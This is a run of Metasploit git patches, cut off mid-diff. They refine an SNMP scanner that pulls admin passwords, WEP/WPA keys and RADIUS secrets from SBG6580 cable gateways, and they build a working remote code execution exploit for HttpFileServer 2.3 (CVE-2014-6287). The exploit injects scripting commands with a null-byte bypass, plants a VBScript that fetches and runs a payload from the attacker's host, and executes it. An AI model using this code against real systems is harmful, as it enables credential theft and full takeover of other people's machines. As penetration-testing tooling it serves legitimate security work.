snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0').to_s + output_data["Username"] = deviceUiUsername.strip + + deviceUiPassword = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0').to_s + output_data["Password"] = deviceUiPassword.strip + end + primaryWifiState = snmp.get_value('1.3.6.1.2.1.2.2.1.8.32').to_i if primaryWifiState != 1 # primary Wifi interface is not up @@ -120,21 +135,6 @@ class Metasploit3 < Msf::Auxiliary end end - # attempt to get the username and password for the device user interface - # using the CableHome cabhPsDevMib MIB module which defines the - # basic management objects for the Portal Services (PS) logical element - # of a CableHome compliant Residential Gateway device - deviceUiSelection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0').to_i - if deviceUiSelection == 1 - # manufacturerLocal(1) - indicates Portal Services is using the vendor - # web user interface shipped with the device - deviceUiUsername = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0').to_s - output_data["Username"] = deviceUiUsername.strip - - deviceUiPassword = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0').to_s - output_data["Password"] = deviceUiPassword.strip - end - # output print_line("") print_status("Device information:\n") From 0a01da1ca9885b0b676421899d7b58bb2a8218e2 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Tue, 20 May 2014 18:51:22 -0400 Subject: [PATCH 016/107] Changed default value for SNMP Version option --- modules/auxiliary/scanner/snmp/sbg6580_enum.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index 06b2e3604c..13c8c77d97 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -27,6 +27,12 @@ class Metasploit3 < Msf::Auxiliary 'Author' => 'Matthew Kienow ', 'License' => MSF_LICENSE )) + + # change SNMP version option to match device specification + register_options( + [ + OptString.new('VERSION', [ true, 'SNMP Version <1/2c>', '2c' ]) + ], self.class) end def run_host(ip) From 0735de0fd48c9e546cf1b3cf13ae14c86333d3b5 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Tue, 27 May 2014 18:06:36 -0400 Subject: [PATCH 017/107] Changes to error output per PR comments --- modules/auxiliary/scanner/snmp/sbg6580_enum.rb | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index 13c8c77d97..be0055a8ec 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary output_data = {} output_data = {"Host IP" => ip} - if snmp.get_value('sysDescr.0') =~ /SBG6580/ + if snmp.get_value('sysDescr.0').to_s =~ /SBG6580/ # print connected status after the first query so if there are # any timeout or connectivity errors; the code would already # have jumped to error handling where the error status is @@ -170,20 +170,22 @@ class Metasploit3 < Msf::Auxiliary } print_line(line) + else + print_error("#{ip} does not appear to be a SBG6580.") end rescue SNMP::RequestTimeout - vprint_status("#{ip} SNMP request timeout.") + print_error("#{ip} SNMP request timeout.") rescue Rex::ConnectionError - print_status("#{ip} Connection refused.") + print_error("#{ip} Connection refused.") rescue SNMP::InvalidIpAddress - print_status("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.") + print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.") rescue SNMP::UnsupportedVersion - print_status("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") rescue ::Interrupt raise $! rescue ::Exception => e - print_status("Unknown error: #{e.class} #{e}") + print_error("Unknown error: #{e.class} #{e}") elog("Unknown error: #{e.class} #{e}") elog("Call stack:\n#{e.backtrace.join "\n"}") ensure From cf0f00a376900abf8607012b711d3dcd916d3e6e Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Sun, 31 Aug 2014 13:07:17 -0400 Subject: [PATCH 018/107] Variable name changes per ruby style guide --- .../auxiliary/scanner/snmp/sbg6580_enum.rb | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index be0055a8ec..ad9e8e66c8 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -63,19 +63,19 @@ class Metasploit3 < Msf::Auxiliary # using the CableHome cabhPsDevMib MIB module which defines the # basic management objects for the Portal Services (PS) logical element # of a CableHome compliant Residential Gateway device - deviceUiSelection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0').to_i - if deviceUiSelection == 1 + device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0').to_i + if device_ui_selection == 1 # manufacturerLocal(1) - indicates Portal Services is using the vendor # web user interface shipped with the device - deviceUiUsername = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0').to_s - output_data["Username"] = deviceUiUsername.strip + device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0').to_s + output_data["Username"] = device_ui_username.strip - deviceUiPassword = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0').to_s - output_data["Password"] = deviceUiPassword.strip + device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0').to_s + output_data["Password"] = device_ui_password.strip end - primaryWifiState = snmp.get_value('1.3.6.1.2.1.2.2.1.8.32').to_i - if primaryWifiState != 1 + primary_wifi_state = snmp.get_value('1.3.6.1.2.1.2.2.1.8.32').to_i + if primary_wifi_state != 1 # primary Wifi interface is not up print_status("Primary WiFi is disabled on the device") end @@ -120,8 +120,8 @@ class Metasploit3 < Msf::Auxiliary output_data["WEP Key 4"] = wep_key4.unpack('H*')[0] # get current network key - currentKey = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.32').to_s - output_data["Current Network Key"] = currentKey + current_key = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.32').to_s + output_data["Current Network Key"] = current_key if network_auth_mode == 6 get_radius_info(snmp, output_data) From 7dd73084bbc0729edd7a55e97a4f0454fcd37f11 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 1 Sep 2014 00:49:10 -0400 Subject: [PATCH 019/107] Added WiFi ifindex discovery and enhanced error handling --- .../auxiliary/scanner/snmp/sbg6580_enum.rb | 160 ++++++++++++------ 1 file changed, 110 insertions(+), 50 deletions(-) diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index ad9e8e66c8..e86a2e487a 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -49,10 +49,10 @@ class Metasploit3 < Msf::Auxiliary "RADIUS Server", "RADIUS Port", "RADIUS Key" ] - output_data = {} output_data = {"Host IP" => ip} - if snmp.get_value('sysDescr.0').to_s =~ /SBG6580/ + sys_descr = snmp.get_value('sysDescr.0') + if is_valid_snmp_value(sys_descr) and sys_descr.to_s =~ /SBG6580/ # print connected status after the first query so if there are # any timeout or connectivity errors; the code would already # have jumped to error handling where the error status is @@ -63,81 +63,114 @@ class Metasploit3 < Msf::Auxiliary # using the CableHome cabhPsDevMib MIB module which defines the # basic management objects for the Portal Services (PS) logical element # of a CableHome compliant Residential Gateway device - device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0').to_i - if device_ui_selection == 1 + device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0') + if is_valid_snmp_value(device_ui_selection) and device_ui_selection.to_i == 1 # manufacturerLocal(1) - indicates Portal Services is using the vendor # web user interface shipped with the device - device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0').to_s - output_data["Username"] = device_ui_username.strip + device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0') + if is_valid_snmp_value(device_ui_username) + output_data["Username"] = device_ui_username.to_s + end - device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0').to_s - output_data["Password"] = device_ui_password.strip + device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0') + if is_valid_snmp_value(device_ui_password) + output_data["Password"] = device_ui_password.to_s + end end - primary_wifi_state = snmp.get_value('1.3.6.1.2.1.2.2.1.8.32').to_i - if primary_wifi_state != 1 - # primary Wifi interface is not up + wifi_ifindex = get_primary_wifi_ifindex(snmp) + if wifi_ifindex < 1 print_status("Primary WiFi is disabled on the device") end - ssid = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32').to_s - output_data["SSID"] = ssid.strip + ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}") + if is_valid_snmp_value(ssid) + output_data["SSID"] = ssid.to_s + end - wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0').to_i - output_data["802.11 Band"] = get_wireless_band_name(wireless_band) + wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0') + if is_valid_snmp_value(wireless_band) + output_data["802.11 Band"] = get_wireless_band_name(wireless_band.to_i) + end - network_auth_mode = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.32').to_i - network_auth_mode_name = get_network_auth_mode_name(network_auth_mode) - output_data["Network Authentication Mode"] = network_auth_mode_name + network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}") + if is_valid_snmp_value(network_auth_mode) + network_auth_mode = network_auth_mode.to_i + network_auth_mode_name = get_network_auth_mode_name(network_auth_mode) + output_data["Network Authentication Mode"] = network_auth_mode_name + end case network_auth_mode when 1, 6 # WEP, WEP 802.1x Authentication - wep_passphrase = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.32').to_s - output_data["WEP Passphrase"] = wep_passphrase.strip + wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}") + if is_valid_snmp_value(wep_passphrase) + output_data["WEP Passphrase"] = wep_passphrase.to_s + end - wep_encryption = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.32').to_i - wep_encryption_name = "unknown" - wep_key1 = wep_key2 = wep_key3 = wep_key4 = "" + wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}") + if is_valid_snmp_value(wep_encryption) + wep_encryption = wep_encryption.to_i + else + wep_encryption = -1 + end + + wep_encryption_name = "Unknown" + wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil # get appropriate WEP keys based on wep_encryption setting if wep_encryption == 1 wep_encryption_name = "64-bit" - wep_key1 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.1') - wep_key2 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.2') - wep_key3 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.3') - wep_key4 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.4') + wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1") + wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2") + wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3") + wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4") elsif wep_encryption == 2 wep_encryption_name = "128-bit" - wep_key1 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.1') - wep_key2 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.2') - wep_key3 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.3') - wep_key4 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.4') + wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1") + wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2") + wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3") + wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4") end + output_data["WEP Encryption"] = wep_encryption_name - output_data["WEP Key 1"] = wep_key1.unpack('H*')[0] - output_data["WEP Key 2"] = wep_key2.unpack('H*')[0] - output_data["WEP Key 3"] = wep_key3.unpack('H*')[0] - output_data["WEP Key 4"] = wep_key4.unpack('H*')[0] + if is_valid_snmp_value(wep_key1) + output_data["WEP Key 1"] = wep_key1.unpack('H*')[0] + end + if is_valid_snmp_value(wep_key2) + output_data["WEP Key 2"] = wep_key2.unpack('H*')[0] + end + if is_valid_snmp_value(wep_key3) + output_data["WEP Key 3"] = wep_key3.unpack('H*')[0] + end + if is_valid_snmp_value(wep_key4) + output_data["WEP Key 4"] = wep_key4.unpack('H*')[0] + end # get current network key - current_key = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.32').to_s - output_data["Current Network Key"] = current_key + current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}") + if is_valid_snmp_value(current_key) + output_data["Current Network Key"] = current_key.to_s + end if network_auth_mode == 6 - get_radius_info(snmp, output_data) + get_radius_info(snmp, wifi_ifindex, output_data) end when 2, 3, 4, 5, 7, 8 # process all flavors of WPA - wpa_encryption = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.32').to_i - output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption) + wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}") + if is_valid_snmp_value(wpa_encryption) + output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption.to_i) + end - wpa_psk = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32').to_s - output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.strip + wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}") + if is_valid_snmp_value(wpa_psk) + output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.to_s + end case network_auth_mode when 4, 5, 8 - get_radius_info(snmp, output_data) + get_radius_info(snmp, wifi_ifindex, output_data) end end @@ -193,6 +226,27 @@ class Metasploit3 < Msf::Auxiliary end end + def get_primary_wifi_ifindex(snmp) + # The ifTable contains interface entries where each row represents + # management information for a particular interface. Locate the first + # interface where ifType is 71 (ieee80211) and ifAdminStatus is 1 (up). + wifi_ifindex = 0 + ifTable_columns = ["ifIndex", "ifDescr", "ifType", "ifAdminStatus"] + snmp.walk(ifTable_columns) do |ifIndex, ifDescr, ifType, ifAdminStatus| + if (wifi_ifindex < 1 and ifType.value == 71 and ifAdminStatus.value == 1) + wifi_ifindex = ifIndex.value.to_i + end + end + wifi_ifindex + end + + def is_valid_snmp_value(value) + if value.nil? or value.to_s =~ /Null/ or value.to_s =~ /^noSuch/ + return false + end + return true + end + def get_network_auth_mode_name(network_auth_mode) case network_auth_mode when 0 @@ -240,15 +294,21 @@ class Metasploit3 < Msf::Auxiliary end end - def get_radius_info(snmp, output_data) - radius_server = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.32') - output_data["RADIUS Server"] = radius_server.unpack("C4").join(".") + def get_radius_info(snmp, wifi_ifindex, output_data) + radius_server = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.#{wifi_ifindex}") + if is_valid_snmp_value(radius_server) + output_data["RADIUS Server"] = radius_server.unpack("C4").join(".") + end - radius_port = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.32').to_s - output_data["RADIUS Port"] = radius_port.strip + radius_port = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.#{wifi_ifindex}") + if is_valid_snmp_value(radius_port) + output_data["RADIUS Port"] = radius_port.to_s.strip + end - radius_key = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.32').to_s - output_data["RADIUS Key"] = radius_key.strip + radius_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.#{wifi_ifindex}") + if is_valid_snmp_value(radius_key) + output_data["RADIUS Key"] = radius_key.to_s + end end end From 8b4b66fcaa7ec37c2e8dec81464ffa7a3f252e73 Mon Sep 17 00:00:00 2001 From: mfadzilr Date: Sun, 14 Sep 2014 12:26:02 +0800 Subject: [PATCH 020/107] initial test --- .../windows/http/http_file_server_exec.rb | 73 +++++++++++++++++++ 1 file changed, 73 insertions(+) create mode 100644 modules/exploits/windows/http/http_file_server_exec.rb diff --git a/modules/exploits/windows/http/http_file_server_exec.rb b/modules/exploits/windows/http/http_file_server_exec.rb new file mode 100644 index 0000000000..a816372efb --- /dev/null +++ b/modules/exploits/windows/http/http_file_server_exec.rb @@ -0,0 +1,73 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "HttpClient and HttpServer Example", + 'Description' => %q{ + This demonstrates how to use two mixins (HttpClient and HttpServer) at the same time, + but this allows the HttpServer to terminate after a delay. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'mfadzilr' ], + 'References' => + [ + ['URL', 'http://metasploit.com'] + ], + 'Payload' => { 'BadChars' => "\x00" }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + ], + 'CmdStagerFlavor' => 'vbs' + 'Privileged' => false, + 'DisclosureDate' => "Sep 14 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to some web application', '/']), + OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) + ], self.class) + end + + def on_request_uri(cli, req) + print_status("#{peer} - Payload request received: #{req.uri}") + exe = generate_payload_exe + send_response(cli, exe, 'You get this, I own you') + end + + def primer + uri = target_uri.path + fname = "evil.vbs" + save_path = "c:\\" + fname + vbs_evil = "Set x=CreateObject(\x22Microsoft.XMLHTTP\x22)\x0d\x0ax.Open \x22GET\x22,\x22http://#{RHOST}/#{fname}\x22,False\x0d\x0ax.Send\x0d\x0aExecute x.responseText" + exec_save = "%00{.save|save_path|#{vbs_evil}.}" + print_status("Sending a malicious request to #{target_uri.path}") + #send_request_cgi({'uri'=>normalize_uri(target_uri.path)}) + send_request_cgi({ + 'method' => 'GET', + 'uri' => 'normalize_uri(uri,'?search=' + exec_save), + }) + end + + def exploit + begin + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + # When the server stops due to our timeout, this is raised + end + end +end From 74ef83812aaa7d30ef8211972136d2fa64c3099f Mon Sep 17 00:00:00 2001 From: mfadzilr Date: Mon, 15 Sep 2014 01:43:18 +0800 Subject: [PATCH 021/107] update module vulnerability information --- .../windows/http/http_file_server_exec.rb | 61 ++++++++++++------- 1 file changed, 38 insertions(+), 23 deletions(-) diff --git a/modules/exploits/windows/http/http_file_server_exec.rb b/modules/exploits/windows/http/http_file_server_exec.rb index a816372efb..f7296bee83 100644 --- a/modules/exploits/windows/http/http_file_server_exec.rb +++ b/modules/exploits/windows/http/http_file_server_exec.rb @@ -6,61 +6,76 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Reank = NormalRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpServer + #include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, - 'Name' => "HttpClient and HttpServer Example", + 'Name' => "HttpFileServer 2.3.x Remote Command Execution", 'Description' => %q{ - This demonstrates how to use two mixins (HttpClient and HttpServer) at the same time, - but this allows the HttpServer to terminate after a delay. + HFS is vulnerable to remote command execution attack due to a poor regex in the file + ParserLib.pas. This module exploit the HFS scripting command by using '%00' to bypass + the filtering. }, 'License' => MSF_LICENSE, - 'Author' => [ 'mfadzilr' ], + 'Author' => + [ + 'Daniele Linguaglossa ', # orginal p.o.c + 'Muhamad Fadzil Ramli ' # metasploit module + ], 'References' => [ - ['URL', 'http://metasploit.com'] + ['URL', 'http://seclists.org/bugtraq/2014/Sep/85'], + ['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands'], ], - 'Payload' => { 'BadChars' => "\x00" }, + 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], ], - 'CmdStagerFlavor' => 'vbs' + #'CmdStagerFlavor' => 'vbs', 'Privileged' => false, 'DisclosureDate' => "Sep 14 2014", 'DefaultTarget' => 0)) register_options( [ - OptString.new('TARGETURI', [true, 'The path to some web application', '/']), - OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) + OptString.new('TARGETURI', [true, 'The path of the web application', '/']), + OptString.new('SAVE_PATH', [true, 'Location where the vbs script will be executed', 'c:\\']), + OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 10]), ], self.class) end def on_request_uri(cli, req) print_status("#{peer} - Payload request received: #{req.uri}") exe = generate_payload_exe - send_response(cli, exe, 'You get this, I own you') + vbs = Msf::Util::EXE.to_exe_vbs(exe) + send_response(cli, vbs, {'Content-Type' => 'application/octet-stream'}) end def primer - uri = target_uri.path - fname = "evil.vbs" - save_path = "c:\\" + fname - vbs_evil = "Set x=CreateObject(\x22Microsoft.XMLHTTP\x22)\x0d\x0ax.Open \x22GET\x22,\x22http://#{RHOST}/#{fname}\x22,False\x0d\x0ax.Send\x0d\x0aExecute x.responseText" - exec_save = "%00{.save|save_path|#{vbs_evil}.}" + + file_name = rand_text_alpha(rand(10)+5) + file_ext = '.vbs' + file_fullname = file_name + file_ext + + vbs_code = "Set x=CreateObject(\x22Microsoft.XMLHTTP\x22)\x0d\x0aOn Error Resume Next\x0d\x0aif err.number <> 0 then wsh.exit\x0d\x0ax.Open \x22GET\x22,\x22http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\x22,False\x0d\x0ax.Send\x0d\x0aExecute x.responseText" + + payload = "save|#{datastore['SAVE_PATH']}#{file_fullname}|#{vbs_code}" + payload = URI::encode(payload) + + exec_cmd = "exec|cmd /q /c start #{datastore['SAVE_PATH']}#{file_name}" + exec_cmd = URI::encode(exec_cmd) + print_status("Sending a malicious request to #{target_uri.path}") - #send_request_cgi({'uri'=>normalize_uri(target_uri.path)}) - send_request_cgi({ - 'method' => 'GET', - 'uri' => 'normalize_uri(uri,'?search=' + exec_save), - }) + Net::HTTP.get(datastore['RHOST'],"/?search=%00{.#{payload}.}") + Net::HTTP.get(datastore['RHOST'],"/?search=%00{.#{exec_cmd}.}") + end def exploit From f1d3c44f4f78d070777e36e3b6b0947e0cc6e085 Mon Sep 17 00:00:00 2001 From: mfadzilr Date: Mon, 15 Sep 2014 12:59:27 +0800 Subject: [PATCH 022/107] exploit module for HTTP File Server version 2.3b, exploiting HFS scripting commands 'save' and 'exec'. --- .../windows/http/http_file_server_exec.rb | 45 ++++++++++++------- 1 file changed, 30 insertions(+), 15 deletions(-) diff --git a/modules/exploits/windows/http/http_file_server_exec.rb b/modules/exploits/windows/http/http_file_server_exec.rb index f7296bee83..580065110b 100644 --- a/modules/exploits/windows/http/http_file_server_exec.rb +++ b/modules/exploits/windows/http/http_file_server_exec.rb @@ -11,34 +11,34 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer - #include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "HttpFileServer 2.3.x Remote Command Execution", 'Description' => %q{ HFS is vulnerable to remote command execution attack due to a poor regex in the file - ParserLib.pas. This module exploit the HFS scripting command by using '%00' to bypass + ParserLib.pas. This module exploit the HFS scripting commands by using '%00' to bypass the filtering. }, 'License' => MSF_LICENSE, 'Author' => [ - 'Daniele Linguaglossa ', # orginal p.o.c + 'Daniele Linguaglossa ', # orginal discovery 'Muhamad Fadzil Ramli ' # metasploit module ], 'References' => [ ['URL', 'http://seclists.org/bugtraq/2014/Sep/85'], ['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands'], + ['CVE', 'CVE-2014-6287'], ], 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, + # Tested HFS 2.3b on Microsoft Windows XP [Version 5.1.2600] 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], ], - #'CmdStagerFlavor' => 'vbs', 'Privileged' => false, 'DisclosureDate' => "Sep 14 2014", 'DefaultTarget' => 0)) @@ -46,36 +46,51 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The path of the web application', '/']), - OptString.new('SAVE_PATH', [true, 'Location where the vbs script will be executed', 'c:\\']), + OptString.new('SAVE_PATH', [true, 'Target writable path', 'c:\\']), OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 10]), ], self.class) end + def check + res = send_request_raw({ + 'method' => 'GET', + 'uri' => '/' + }) + + if res.headers['Server'] =~ /HFS 2.3/ + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + def on_request_uri(cli, req) print_status("#{peer} - Payload request received: #{req.uri}") exe = generate_payload_exe vbs = Msf::Util::EXE.to_exe_vbs(exe) send_response(cli, vbs, {'Content-Type' => 'application/octet-stream'}) + remove_resource(get_resource) # remove resource after serving 1st reequest. end def primer - file_name = rand_text_alpha(rand(10)+5) file_ext = '.vbs' file_fullname = file_name + file_ext - vbs_code = "Set x=CreateObject(\x22Microsoft.XMLHTTP\x22)\x0d\x0aOn Error Resume Next\x0d\x0aif err.number <> 0 then wsh.exit\x0d\x0ax.Open \x22GET\x22,\x22http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\x22,False\x0d\x0ax.Send\x0d\x0aExecute x.responseText" + vbs_code = "Set x=CreateObject(\x22Microsoft.XMLHTTP\x22)\x0d\x0aOn Error Resume Next\x0d\x0ax.Open \x22GET\x22,\x22http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\x22,False\x0d\x0aIf Err.Number <> 0 Then\x0d\x0awsh.exit\x0d\x0aEnd If\x0d\x0ax.Send\x0d\x0aExecute x.responseText" - payload = "save|#{datastore['SAVE_PATH']}#{file_fullname}|#{vbs_code}" - payload = URI::encode(payload) - - exec_cmd = "exec|cmd /q /c start #{datastore['SAVE_PATH']}#{file_name}" - exec_cmd = URI::encode(exec_cmd) + payloads = [ + "save|#{datastore['SAVE_PATH']}#{file_fullname}|#{vbs_code}", + "exec|cmd /q /c start #{datastore['SAVE_PATH']}#{file_name}" + ] print_status("Sending a malicious request to #{target_uri.path}") - Net::HTTP.get(datastore['RHOST'],"/?search=%00{.#{payload}.}") - Net::HTTP.get(datastore['RHOST'],"/?search=%00{.#{exec_cmd}.}") - + payloads.each { |payload| + send_request_raw({ + 'method' => 'GET', + 'uri' => "/?search=%00{.#{URI::encode(payload)}.}" + }) + } end def exploit From 9860ed340efa3ecb2998da8d42cb5c49f51a70e8 Mon Sep 17 00:00:00 2001 From: mfadzilr Date: Mon, 15 Sep 2014 13:13:25 +0800 Subject: [PATCH 023/107] run msftidy, make correction for CVE format and space at EOL (line 77) --- modules/exploits/windows/http/http_file_server_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/http_file_server_exec.rb b/modules/exploits/windows/http/http_file_server_exec.rb index 580065110b..bd893034dc 100644 --- a/modules/exploits/windows/http/http_file_server_exec.rb +++ b/modules/exploits/windows/http/http_file_server_exec.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['URL', 'http://seclists.org/bugtraq/2014/Sep/85'], ['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands'], - ['CVE', 'CVE-2014-6287'], + ['CVE', '2014-6287'], ], 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, # Tested HFS 2.3b on Microsoft Windows XP [Version 5.1.2600] @@ -74,7 +74,7 @@ class Metasploit3 < 